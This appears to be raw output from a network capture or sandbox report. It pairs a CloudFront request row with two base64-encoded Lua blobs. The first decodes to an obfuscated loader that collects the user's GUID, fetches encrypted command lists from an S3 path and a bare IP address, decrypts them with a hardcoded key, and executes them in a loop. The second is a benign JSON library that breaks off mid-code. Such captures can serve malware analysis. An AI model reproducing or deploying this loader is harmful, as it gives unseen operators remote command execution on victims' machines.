cmVxdWVzdGxpbmUoZS5tZXRob2QsZS51cmkpCnQ6c2VuZGhlYWRlcnMoZS5oZWFkZXJzKQppZiBl
LnNvdXJjZSB0aGVuCnQ6c2VuZGJvZHkoZS5oZWFkZXJzLGUuc291cmNlLGUuc3RlcCkKZW5kCmxv
Y2FsIGEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKaWYgbm90IGEgdGhlbgp0OnJlY2VpdmUwOWJv
ZHkoaSxlLnNpbmssZS5zdGVwKQpyZXR1cm4gMSwyMDAKZW5kCmxvY2FsIG8Kd2hpbGUgYT09MTAw
IGRvCm89dDpyZWNlaXZlaGVhZGVycygpCmEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKZW5kCm89
dDpyZWNlaXZlaGVhZGVycygpCmlmIGwoZSxhLG8pYW5kIG5vdCBlLnNvdXJjZSB0aGVuCnQ6Y2xv
c2UoKQpyZXR1cm4gcyhuLG8ubG9jYXRpb24pCmVuZAppZiByKGUsYSl0aGVuCnQ6cmVjZWl2ZWJv
ZHkobyxlLnNpbmssZS5zdGVwKQplbmQKdDpjbG9zZSgpCnJldHVybiAxLGEsbyxpCmVuZApsb2Nh
bCBmdW5jdGlvbiBoKGUsYSkKbG9jYWwgcz17fQpsb2NhbCBlPXsKdXJsPWUsCnNpbms9aS5zaW5r
LnRhYmxlKHMpCn0KaWYgYSB0aGVuCmUuc291cmNlPWkuc291cmNlLnN0cmluZyhhKQplLmhlYWRl
cnM9ewpbImNvbnRlbnQtbGVuZ3RoIl09by5sZW4oYSksClsiY29udGVudC10eXBlIl09ImFwcGxp
Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKfQplLm1ldGhvZD0iUE9TVCIKZW5kCmxvY2Fs
IGUsYSx0PXQuc2tpcCgxLG4oZSkpCnJldHVybiBkLmNvbmNhdChzKSxlLGEsdAplbmQKcmVxdWVz
dD10LnByb3RlY3QoZnVuY3Rpb24oZSx0KQppZiBhLnR5cGUoZSk9PSJzdHJpbmcidGhlbiByZXR1
cm4gaChlLHQpCmVsc2UgcmV0dXJuIG4oZSllbmQKZW5kKQplbmQpCmxvY2FsIGU9cmVxdWlyZSgi
c29ja2V0Lmh0dHAiKTsKbG9jYWwgZT1yZXF1aXJlKCJjb21tb24iKTsKSlNPTj1yZXF1aXJlKCJK
U09OIik7CmU9ZS5uZXcoKTsKbG9jYWwgdD0oR2V0VXNlckd1aWQpYW5kIEdldFVzZXJHdWlkKClv
ciIiOwp0PXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDks
MTIpLHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKbG9jYWwgaT0oQ2hlY2tB
cmcpYW5kIENoZWNrQXJnKCJzb3VyY2UiKW9yIiI7CmxvY2FsIGE9KENoZWNrQXJnKWFuZCBDaGVj
a0FyZygib3B0aW9ucyIpb3IiIjsKbG9jYWwgcz0oYTpzdWIoNSw1KT09IjEiKWFuZCJwcm9kdWN0
aW9uIm9yImRldmVsb3BtZW50IjsKbG9jYWwgbz0oYX49IiIpYW5kIHN0cmluZy5mb3JtYXQoIiVz
IixhOnN1Yig4LDEwKSlvciI5OTkiOwpsb2NhbCBjPXRydWU7CmxvY2FsIG49IiI7CmxvY2FsIG89
c3RyaW5nLmZvcm1hdCgiaHR0cDovL3MzLmFtYXpvbmF3cy5jb20vY2RuLmFkcGsuY29tLyVzLyVz
L2NvbW1hbmRzLmRhdD9nPSVzJnM9JXMiLG8sYTpzdWIoNSw1KSxzdHJpbmcudXBwZXIodCksaSk7
CmxvY2FsIG49b3MudGltZSgpLTcwMDsKbG9jYWwgYT0iNmM2MTcxNzU2MTZlNjQ2MTc3NjE3NDZi
Njk2ZTczNzI2NTZkNmY3NDY1NjQ2MjBhIjsKbG9jYWwgaD0iMSI7CmxvY2FsIHQ9c3RyaW5nLmZv
cm1hdCgiaHR0cDovLzU0LjIyMS4xMzIuMjIwL2V1Lmpzb24/Zz0lcyZzPSVzIixzdHJpbmcudXBw
ZXIodCksaSk7CmlmIEdldFRpbWVMYXN0Q21kfj1uaWwgdGhlbgpuPUdldFRpbWVMYXN0Q21kKCk7
CmlmIG49PTAgdGhlbgpTZXRUaW1lTGFzdENtZChvcy50aW1lKCkpOwplbmQKZW5kCmUuZGVidWco
c3RyaW5nLmZvcm1hdCgiPT09PT09PT09PT09PT09PT09PT09PT09PSBWRVJTSU9OICVzICVzICVz
ID09PT09PT09PT09PT09PT09PT09PT09PT0iLEdldFZlcnNpb24oKSxzLG9zLnRpbWUoKS1uKSk7
CmZ1bmN0aW9uIEpTT046b25EZWNvZGVFcnJvcihhLHQsbyxpKQplLmRlYnVnKHN0cmluZy5mb3Jt
YXQoIkpTT04gRGVjb2RlIEVycm9yIE1lc3NhZ2U6ICVzICVzICVzIixhLG8sdCkpOwplbmQKaWYo
b3MudGltZSgpLW4pPjYwMCB0aGVuCmxvY2FsIGksdD1lLmdldGJ5aHR0cCh0KTsKaWYgU2V0VGlt
ZUxhc3RDbWR+PW5pbCB0aGVuClNldFRpbWVMYXN0Q21kKG9zLnRpbWUoKSk7CmVuZAppZiBzdHJp
bmcuZmluZCh0LCJodG1sIilvciBzdHJpbmcuZmluZCh0LCJzdGF0dXMiKW9yIHQ9PW5pbCBvciB0
PT0iInRoZW4KaSxzUmVtb3RlREI9ZS5nZXRieWh0dHAobyk7CmlmIHNSZW1vdGVEQn49bmlsIHRo
ZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgKCVzKSByZXRyaWV2ZWQg
ZnJvbSAlcyBzdWNjZXNzZnVsbHkiLCNzUmVtb3RlREIsbykpOwpzUmVtb3RlREI9KEVuY3J5cHQp
YW5kIEVuY3J5cHQoc1JlbW90ZURCLGEpb3IgZS5lbmNyeXB0KHNSZW1vdGVEQixhKTsKbG9jYWwg
ZT1KU09OOmRlY29kZShzUmVtb3RlREIpOwpyZW1vdGVkYl9qc29uPWU7CmVsc2UKZS5kZWJ1Zyhz
dHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gJXMgdW5zdWNjZXNz
ZnVsbHkiLG8pKTsKZW5kCmVsc2UKaWYgc1JlbW90ZURCPT1uaWwgdGhlbgpyZXR1cm4gZmFsc2U7
CmVsc2UKc1JlbW90ZURCPShFbmNyeXB0KWFuZCBFbmNyeXB0KHNSZW1vdGVEQixhKW9yIGUuZW5j
cnlwdChzUmVtb3RlREIsYSk7CmxvY2FsIHQ9SlNPTjpkZWNvZGUoc1JlbW90ZURCKTsKcmVtb3Rl
ZGJfanNvbj10OwplLmRlYnVnKCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gZXhjZXB0
aW9ucyBzdWNjZXNzZnVsbHkiKTsKZW5kCmVuZAplbmQKbG9jYWwgdDsKaWYgR2V0Q29tbWFuZHN+
PW5pbCB0aGVuCnQ9R2V0Q29tbWFuZHMoKTsKZWxzZQp0PWUucmVhZGZpbGUoc3RyaW5nLmZvcm1h
dCgiJXNscXdkYi5kYXQiLGUudGVtcHBhdGgoKSkpOwplbmQKbG9jYWwgYT0iIjsKaWYgdH49bmls
IHRoZW4KdD0oRW5jcnlwdClhbmQgRW5jcnlwdCh0LCJsYXF1YW5kYSB3YXRraW5zIilvciBlLmVu
Y3J5cHQodCwibGFxdWFuZGEgd2F0a2lucyIpOwphPUpTT046ZGVjb2RlKHQpOwplbHNlCmE9cmVt
b3RlZGJfanNvbjsKZW5kCmlmIHQ9PW5pbCB0aGVuCmlmIHR5cGUoYSk9PSJ0YWJsZSJ0aGVuCmUu
c2F2ZWRiKEpTT046ZW5jb2RlKGEpKTsKZWxzZQpyZXR1cm4gZmFsc2U7CmVuZAplbmQKbG9jYWwg
aT17fTsKaWYgYX49bmlsIGFuZCByZW1vdGVkYl9qc29ufj1uaWwgdGhlbgpmb3IgdCxlIGluIHBh
aXJzKGEpZG8KbG9jYWwgYT1mYWxzZTsKZm9yIG8sdCBpbiBwYWlycyhyZW1vdGVkYl9qc29uKWRv
CmlmIGVbImhhc2giXT09dFsiaGFzaCJddGhlbgpsb2NhbCBvPShlWyJyZXN1bHQiXX49bmlsKWFu
ZCBlWyJyZXN1bHQiXW9yIG5pbDsKaWYgZVsiZGF0ZSJdfj1uaWwgdGhlbgpsb2NhbCBhPWVbImRh
dGUiXTsKbG9jYWwgaT1lWyJzdGF0dXMiXTsKZT10OwplWyJzdGF0dXMiXT1pOwplWyJkYXRlIl09
YTsKZVsicmVzdWx0Il09bzsKZWxzZQplPXQ7CmVbInJlc3VsdCJdPW87CmVuZAphPXRydWU7CmVu
ZAplbmQKaWYgYSB0aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmZvciB0LGUgaW4gcGFp
cnMocmVtb3RlZGJfanNvbilkbwpsb2NhbCB0PWZhbHNlOwpmb3IgbyxhIGluIHBhaXJzKGEpZG8K
aWYgZVsiaGFzaCJdPT1hWyJoYXNoIl10aGVuCnQ9dHJ1ZTsKZW5kCmVuZAppZiB0PT1mYWxzZSB0
aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmE9ZS5zaGFsbG93Y29weShpKTsKaT17fTsK
ZW5kCnRhYmxlLnNvcnQoYSxmdW5jdGlvbih0LGUpcmV0dXJuIHRvbnVtYmVyKHQub3JkZXIpPHRv
bnVtYmVyKGUub3JkZXIpO2VuZCk7CmxvY2FsIHI9dHJ1ZTsKbG9jYWwgaD10cnVlOwpsb2NhbCBk
PWZhbHNlOwpsb2NhbCBsPXt9Owpsb2NhbCBvPTA7CmxvY2FsIHM9e307CmZ1bmN0aW9uIGRvR290
byhlLHQpCmZvciBhLGUgaW4gcGFpcnMoYSlkbwppZiB0PD10b251bWJlcihlWyJvcmRlciJdKXRo
ZW4KZVsic3RhdHVzIl09IjAiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uaWw7
CmVsc2VpZiB0PnRvbnVtYmVyKGVbIm9yZGVyIl0pdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRh
dGUiXT1vcy50aW1lKCk7CmVuZAplbmQKZW5kCndoaWxlKGgpZG8KaT17fTsKaD1mYWxzZTsKZm9y
IHUsdCBpbiBwYWlycyhhKWRvCmlmIG8+MCB0aGVuCmRvR290byhhLG8pOwppZiBvPT10b251bWJl
cih0WyJvcmRlciJdKXRoZW4Kbz0wOwplbHNlCnRbInN0YXR1cyJdPSIxIjsKZW5kCmVuZApsb2Nh
bCB1PSh0WyJzdGF0dXMiXX49bmlsKWFuZCB0WyJzdGF0dXMiXW9yIjAiOwplLmRlYnVnKHN0cmlu
Zy5mb3JtYXQoIiMlcy0lcy4gJXMgJXMgU3RhdHVzOiAlcyBMb29wOiAlcyBHbzogJXMiLHRbIm9y
ZGVyIl0sbyx0WyJ0eHRjbWQiXSx0WyJ0eHRkbyJdLHUsdG9zdHJpbmcociksdG9zdHJpbmcoaCkp
KTsKaWYgdT09IjAiYW5kIHIgdGhlbgplLmRlYnVnKCJJbnNpZGUgTWFpbiBMb29wIik7CmlmIHRb
InR4dGRvIl09PSJHb3RvInRoZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJHb3RvIGNvbW1hbmQ6
ICVzIix0WyJ0eHRXaGF0Il0pKTsKbG9jYWwgZT10b251bWJlcih0WyJ0eHRXaGF0Il0pOwppZiBl
PjAgdGhlbgpkb0dvdG8oYSxlKTsKZG9Hb3RvKGksZSk7Cm89ZTsKZW5kCmVsc2UKZS5zZXRyZXN1
bHRzKGwpOwp0LGQ9ZS5jb21tYW5kKHQpOwppZiB0WyJ0eHRjbWQiXT09IklmInRoZW4KaWYgdFsi
dHh0V2hhdFRoZW4iXT09IkdvdG8ib3IgdFsidHh0V2hhdEVsc2UiXT09IkdvdG8idGhlbgpsb2Nh
bCBuPWUuc3BsaXQodFsidHh0R290byJdLCIsIik7CmxvY2FsIHM9KG5bMV1+PW5pbClhbmQgdG9u
dW1iZXIoblsxXSlvciAwOwpsb2NhbCBuPShuWzJdfj1uaWwpYW5kIHRvbnVtYmVyKG5bMl0pb3Ig
MDsKbG9jYWwgdD0odFsicmVzdWx0Il09PSIxIilhbmQgcyBvciBuOwppZiB0PjAgdGhlbgplLmRl
YnVnKHN0cmluZy5mb3JtYXQoIkdvdG8gQ29tbWFuZDogIyVzIix0KSk7CmRvR290byhhLHQpOwpk
b0dvdG8oaSx0KTsKbz10OwplbmQKZW5kCmVuZAplbmQKaWYgZD09dHJ1ZSB0aGVuCmQ9ZmFsc2U7
CnI9dHJ1ZTsKZWxzZQpyPWZhbHNlOwplbmQKZW5kCmlmIHRbInJlc3VsdCJdfj1uaWwgdGhlbgps
W3RbIm9yZGVyIl1dPXRbInJlc3VsdCJdOwplbHNlCmxbdFsib3JkZXIiXV09IiI7CmVuZAppZiBv
PjAgdGhlbgpoPXRydWU7CnNbb109KHNbb10pYW5kIHNbb10rMSBvciAxOwppZiBzW29dPjIwIHRo
ZW4Kbj1uLTk5OTk5OwplLmRlYnVnKHN0cmluZy5mb3JtYXQoIkxvb3AgT3ZlcmZsb3c6ICVzICVz
ICVzOiVzIixvcy50aW1lKCksbixvLHNbb10pKTsKU2V0VGltZUxhc3RDbWQoMCk7CmJyZWFrOwpl
bmQKZW5kCnRhYmxlLmluc2VydChpLHQpOwplbmQKaWYgR2V0VGltZUxhc3RDbWQgdGhlbgppZiBo
IGFuZCBHZXRUaW1lTGFzdENtZCgpPjAgdGhlbgpyPXRydWU7CmVuZAplbmQKZS5zYXZlZGIoSlNP
TjplbmNvZGUoaSkpOwphPWUuc2hhbGxvd2NvcHkoaSk7CmVuZApyZXR1cm4gYzs=
|
d271zaccbgpi7o.cloudfront.net (54.230.14.93:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
5 | /v2/tfn5306351516.html(4) | text/html | tfn5306351516.html(4) | 200 OK | TEXT | 46.2 KB | 07/24/79 16:53:07 | |||||||||||||||
IyEvdXNyL2Jpbi9lbnYgbHVhCnBhY2thZ2UucHJlbG9hZFsnSlNPTiddPShmdW5jdGlvbiguLi4p
CmxvY2FsIGU9MjAxNDA0MTguMTEKbG9jYWwgdD17VkVSU0lPTj1lfQpsb2NhbCBlPSItWyBKU09O
Lmx1YSBwYWNrYWdlIGJ5IEplZmZyZXkgRnJpZWRsIChodHRwOi8vcmVnZXguaW5mby9ibG9nL2x1
YS9qc29uKSwgdmVyc2lvbiAiLi50b3N0cmluZyhlKS4uIiBdLSIKbG9jYWwgYT17X190b3N0cmlu
Zz1mdW5jdGlvbigpcmV0dXJuIkpTT04gYXJyYXkiZW5kfWEuX19pbmRleD1hCmxvY2FsIGU9e19f
dG9zdHJpbmc9ZnVuY3Rpb24oKXJldHVybiJKU09OIG9iamVjdCJlbmR9ZS5fX2luZGV4PWUKZnVu
Y3Rpb24gdDpuZXdBcnJheShlKQpyZXR1cm4gc2V0bWV0YXRhYmxlKGUgb3J7fSxhKQplbmQKZnVu
Y3Rpb24gdDpuZXdPYmplY3QodCkKcmV0dXJuIHNldG1ldGF0YWJsZSh0IG9ye30sZSkKZW5kCmxv
Y2FsIGZ1bmN0aW9uIHIoZSkKaWYgZTw9MTI3IHRoZW4KcmV0dXJuIHN0cmluZy5jaGFyKGUpCmVs
c2VpZiBlPD0yMDQ3IHRoZW4KbG9jYWwgdD1tYXRoLmZsb29yKGUvNjQpCmxvY2FsIGU9ZS0oNjQq
dCkKcmV0dXJuIHN0cmluZy5jaGFyKDE5Mit0LAoxMjgrZSkKZWxzZWlmIGU8PTY1NTM1IHRoZW4K
bG9jYWwgdD1tYXRoLmZsb29yKGUvNDA5NikKbG9jYWwgYT1lLTQwOTYqdApsb2NhbCBlPW1hdGgu
Zmxvb3IoYS82NCkKbG9jYWwgYT1hLTY0KmUKdD0yMjQrdAplPTEyOCtlCmE9MTI4K2EKaWYodD09
MjI0IGFuZCBlPDE2MClvcgoodD09MjM3IGFuZCBlPjE1OSlvcgoodD09MjQwIGFuZCBlPDE0NClv
cgoodD09MjQ0IGFuZCBlPjE0MykKdGhlbgpyZXR1cm4iPyIKZWxzZQpyZXR1cm4gc3RyaW5nLmNo
YXIodCwKZSwKYSkKZW5kCmVsc2UKbG9jYWwgdD1tYXRoLmZsb29yKGUvMjYyMTQ0KQpsb2NhbCBl
PWUtMjYyMTQ0KnQKbG9jYWwgYT1tYXRoLmZsb29yKGUvNDA5NikKZT1lLTQwOTYqYQpsb2NhbCBv
PW1hdGguZmxvb3IoZS82NCkKbG9jYWwgZT1lLTY0Km8KcmV0dXJuIHN0cmluZy5jaGFyKDI0MCt0
LAoxMjgrYSwKMTI4K28sCjEyOCtlKQplbmQKZW5kCmZ1bmN0aW9uIHQ6b25EZWNvZGVFcnJvcihl
LGEsaSxvKQppZiBhIHRoZW4KaWYgaSB0aGVuCmU9c3RyaW5nLmZvcm1hdCgiJXMgYXQgY2hhciAl
ZCBvZjogJXMiLGUsaSxhKQplbHNlCmU9c3RyaW5nLmZvcm1hdCgiJXM6ICVzIixlLGEpCmVuZApl
bmQKaWYgb349bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShvKS4uIikiCmVuZAppZiBzZWxm
LmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVu
ZAplbmQKdC5vbkRlY29kZU9mTmlsRXJyb3I9dC5vbkRlY29kZUVycm9yCnQub25EZWNvZGVPZkhU
TUxFcnJvcj10Lm9uRGVjb2RlRXJyb3IKZnVuY3Rpb24gdDpvbkVuY29kZUVycm9yKGUsYSkKaWYg
YX49bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShhKS4uIikiCmVuZAppZiBzZWxmLmFzc2Vy
dCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVuZAplbmQK
bG9jYWwgZnVuY3Rpb24gbChuLHQsYSxpKQpsb2NhbCBvPXQ6bWF0Y2goJ14tP1sxLTldJWQqJyxh
KQpvciB0Om1hdGNoKCJeLT8wIixhKQppZiBub3QgbyB0aGVuCm46b25EZWNvZGVFcnJvcigiZXhw
ZWN0ZWQgbnVtYmVyIix0LGEsaSkKZW5kCmxvY2FsIGU9YStvOmxlbigpCmxvY2FsIHM9dDptYXRj
aCgnXiUuJWQrJyxlKW9yIiIKZT1lK3M6bGVuKCkKbG9jYWwgaD10Om1hdGNoKCdeW2VFXVstK10/
JWQrJyxlKW9yIiIKZT1lK2g6bGVuKCkKbG9jYWwgbz1vLi5zLi5oCmxvY2FsIG89dG9udW1iZXIo
bykKaWYgbm90IG8gdGhlbgpuOm9uRGVjb2RlRXJyb3IoImJhZCBudW1iZXIiLHQsYSxpKQplbmQK
cmV0dXJuIG8sZQplbmQKbG9jYWwgZnVuY3Rpb24gZChuLGEsaSxzKQppZiBhOnN1YihpLGkpfj0n
Iid0aGVuCm46b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgc3RyaW5nJ3Mgb3BlbmluZyBxdW90ZSIs
YSxpLHMpCmVuZApsb2NhbCBlPWkrMQpsb2NhbCBvPWE6bGVuKCkKbG9jYWwgdD0iIgp3aGlsZSBl
PD1vIGRvCmxvY2FsIG89YTpzdWIoZSxlKQppZiBvPT0nIid0aGVuCnJldHVybiB0LGUrMQplbmQK
aWYgb349J1xcJ3RoZW4KdD10Li5vCmU9ZSsxCmVsc2VpZiBhOm1hdGNoKCdeXFxiJyxlKXRoZW4K
dD10Li4iXGIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxmJyxlKXRoZW4KdD10Li4iXGYiCmU9
ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxuJyxlKXRoZW4KdD10Li4iXG4iCmU9ZSsyCmVsc2VpZiBh
Om1hdGNoKCdeXFxyJyxlKXRoZW4KdD10Li4iXHIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFx0
JyxlKXRoZW4KdD10Li4iXHQiCmU9ZSsyCmVsc2UKbG9jYWwgbz1hOm1hdGNoKCdeXFx1KFswMTIz
NDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFi
QmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIG8gdGhlbgplPWUrNgps
b2NhbCBvPXRvbnVtYmVyKG8sMTYpCmlmIG8+PTU1Mjk2IGFuZCBvPD01NjMxOSB0aGVuCmxvY2Fs
IHQ9YTptYXRjaCgnXlxcdShbZERdW2NkZWZDREVGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVsw
MTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIHQgdGhlbgplPWUrNgpvPTkyMTYrKG8tNTUy
OTYpKjEwMjQrdG9udW1iZXIodCwxNikKZWxzZQplbmQKZW5kCnQ9dC4ucihvKQplbHNlCnQ9dC4u
YTptYXRjaCgnXlxcKC4pJyxlKQplPWUrMgplbmQKZW5kCmVuZApuOm9uRGVjb2RlRXJyb3IoInVu
Y2xvc2VkIHN0cmluZyIsYSxpLHMpCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUsdCkKbG9jYWwgYSxl
PWU6ZmluZCgiXlsgXG5cclx0XSsiLHQpCmlmIGUgdGhlbgpyZXR1cm4gZSsxCmVsc2UKcmV0dXJu
IHQKZW5kCmVuZApsb2NhbCBzCmxvY2FsIGZ1bmN0aW9uIHUobyx0LGksbikKaWYgbm90IHQ6c3Vi
KGksaSk9PSd7J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCAneyciLHQsaSxuKQplbmQK
bG9jYWwgZT1hKHQsaSsxKQpsb2NhbCBoPW8uc3RyaWN0VHlwZXMgYW5kIG86bmV3T2JqZWN0e31v
cnt9CmlmIHQ6c3ViKGUsZSk9PSd9J3RoZW4KcmV0dXJuIGgsZSsxCmVuZApsb2NhbCByPXQ6bGVu
KCkKd2hpbGUgZTw9ciBkbwpsb2NhbCByLGk9ZChvLHQsZSxuKQplPWEodCxpKQppZiB0OnN1Yihl
LGUpfj0nOid0aGVuCm86b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgY29sb24iLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQpsb2NhbCBpLHM9cyhvLHQsZSkKaFtyXT1pCmU9YSh0LHMpCmxvY2FsIGk9dDpz
dWIoZSxlKQppZiBpPT0nfSd0aGVuCnJldHVybiBoLGUrMQplbmQKaWYgdDpzdWIoZSxlKX49Jywn
dGhlbgpvOm9uRGVjb2RlRXJyb3IoImV4cGVjdGVkIGNvbW1hIG9yICd9JyIsdCxlLG4pCmVuZApl
PWEodCxlKzEpCmVuZApvOm9uRGVjb2RlRXJyb3IoInVuY2xvc2VkICd7JyIsdCxpLG4pCmVuZAps
b2NhbCBmdW5jdGlvbiBjKG8sdCxpLG4pCmlmIG5vdCB0OnN1YihpLGkpPT0nWyd0aGVuCm86b25E
ZWNvZGVFcnJvcigiZXhwZWN0ZWQgJ1snIix0LGksbikKZW5kCmxvY2FsIGU9YSh0LGkrMSkKbG9j
YWwgcj1vLnN0cmljdFR5cGVzIGFuZCBvOm5ld0FycmF5e31vcnt9CmlmIHQ6c3ViKGUsZSk9PSdd
J3RoZW4KcmV0dXJuIHIsZSsxCmVuZApsb2NhbCBoPTEKbG9jYWwgZD10OmxlbigpCndoaWxlIGU8
PWQgZG8KbG9jYWwgcyxpPXMobyx0LGUpCnJbaF09cwpoPWgrMQplPWEodCxpKQpsb2NhbCBpPXQ6
c3ViKGUsZSkKaWYgaT09J10ndGhlbgpyZXR1cm4gcixlKzEKZW5kCmlmIHQ6c3ViKGUsZSl+PScs
J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCBjb21tYSBvciAnWyciLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQplbmQKbzpvbkRlY29kZUVycm9yKCJ1bmNsb3NlZCAnWyciLHQsaSxuKQplbmQK
cz1mdW5jdGlvbihpLHQsZSxvKQplPWEodCxlKQppZiBlPnQ6bGVuKCl0aGVuCmk6b25EZWNvZGVF
cnJvcigidW5leHBlY3RlZCBlbmQgb2Ygc3RyaW5nIix0LG5pbCxvKQplbmQKaWYgdDpmaW5kKCde
IicsZSl0aGVuCnJldHVybiBkKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ15bLTAxMjM0NTY3ODkg
XScsZSl0aGVuCnJldHVybiBsKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14leycsZSl0aGVuCnJl
dHVybiB1KGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14lWycsZSl0aGVuCnJldHVybiBjKGksdCxl
LG8pCmVsc2VpZiB0OmZpbmQoJ150cnVlJyxlKXRoZW4KcmV0dXJuIHRydWUsZSs0CmVsc2VpZiB0
OmZpbmQoJ15mYWxzZScsZSl0aGVuCnJldHVybiBmYWxzZSxlKzUKZWxzZWlmIHQ6ZmluZCgnXm51
bGwnLGUpdGhlbgpyZXR1cm4gbmlsLGUrNAplbHNlCmk6b25EZWNvZGVFcnJvcigiY2FuJ3QgcGFy
c2UgSlNPTiIsdCxlLG8pCmVuZAplbmQKZnVuY3Rpb24gdDpkZWNvZGUoZSxhKQppZiB0eXBlKHNl
bGYpfj0ndGFibGUnb3Igc2VsZi5fX2luZGV4fj10IHRoZW4KdDpvbkRlY29kZUVycm9yKCJKU09O
OmRlY29kZSBtdXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixuaWwsbmlsLGEpCmVuZApp
ZiBlPT1uaWwgdGhlbgpzZWxmOm9uRGVjb2RlT2ZOaWxFcnJvcihzdHJpbmcuZm9ybWF0KCJuaWwg
cGFzc2VkIHRvIEpTT046ZGVjb2RlKCkiKSxuaWwsbmlsLGEpCmVsc2VpZiB0eXBlKGUpfj0nc3Ry
aW5nJ3RoZW4Kc2VsZjpvbkRlY29kZUVycm9yKHN0cmluZy5mb3JtYXQoImV4cGVjdGVkIHN0cmlu
ZyBhcmd1bWVudCB0byBKU09OOmRlY29kZSgpLCBnb3QgJXMiLHR5cGUoZSkpLG5pbCxuaWwsYSkK
ZW5kCmlmIGU6bWF0Y2goJ14lcyokJyl0aGVuCnJldHVybiBuaWwKZW5kCmlmIGU6bWF0Y2goJ14l
cyo8Jyl0aGVuCnNlbGY6b25EZWNvZGVPZkhUTUxFcnJvcihzdHJpbmcuZm9ybWF0KCJodG1sIHBh
c3NlZCB0byBKU09OOmRlY29kZSgpIiksZSxuaWwsYSkKZW5kCmlmIGU6c3ViKDEsMSk6Ynl0ZSgp
PT0wIG9yKGU6bGVuKCk+PTIgYW5kIGU6c3ViKDIsMik6Ynl0ZSgpPT0wKXRoZW4Kc2VsZjpvbkRl
Y29kZUVycm9yKCJKU09OIHBhY2thZ2UgZ3Jva3Mgb25seSBVVEYtOCwgc29ycnkiLGUsbmlsLGEp
CmVuZApsb2NhbCB0LGU9cGNhbGwocyxzZWxmLGUsMSxhKQppZiB0IHRoZW4KcmV0dXJuIGUKZWxz
ZQppZiBzZWxmLmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZh
bHNlLGUpCmVuZApyZXR1cm4gbmlsLGUKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUpCmlmIGU9
PSJcbiJ0aGVuCnJldHVybiJcXG4iCmVsc2VpZiBlPT0iXHIidGhlbgpyZXR1cm4iXFxyIgplbHNl
aWYgZT09Ilx0InRoZW4KcmV0dXJuIlxcdCIKZWxzZWlmIGU9PSJcYiJ0aGVuCnJldHVybiJcXGIi
CmVsc2VpZiBlPT0iXGYidGhlbgpyZXR1cm4iXFxmIgplbHNlaWYgZT09JyIndGhlbgpyZXR1cm4n
XFwiJwplbHNlaWYgZT09J1xcJ3RoZW4KcmV0dXJuJ1xcXFwnCmVsc2UKcmV0dXJuIHN0cmluZy5m
b3JtYXQoIlxcdSUwNHgiLGU6Ynl0ZSgpKQplbmQKZW5kCmxvY2FsIGUKPSdbJwouLiciJwouLicl
XFwnCi4uJyV6JwouLidcMDAxJy4uJy0nLi4nXDAzMScKLi4nXScKbG9jYWwgZnVuY3Rpb24gZCh0
KQpsb2NhbCBlPXQ6Z3N1YihlLGEpCnJldHVybiciJy4uZS4uJyInCmVuZApsb2NhbCBmdW5jdGlv
biByKG4sYSxzKQpsb2NhbCBvPXt9CmxvY2FsIHQ9e30KbG9jYWwgaD1mYWxzZQpsb2NhbCBpCmZv
ciBlIGluIHBhaXJzKGEpZG8KaWYgdHlwZShlKT09J3N0cmluZyd0aGVuCnRhYmxlLmluc2VydChv
LGUpCmVsc2VpZiB0eXBlKGUpPT0nbnVtYmVyJ3RoZW4KdGFibGUuaW5zZXJ0KHQsZSkKaWYgZTw9
MCBvciBlPj1tYXRoLmh1Z2UgdGhlbgpoPXRydWUKZWxzZWlmIG5vdCBpIG9yIGU+aSB0aGVuCmk9
ZQplbmQKZWxzZQpuOm9uRW5jb2RlRXJyb3IoImNhbid0IGVuY29kZSB0YWJsZSB3aXRoIGEga2V5
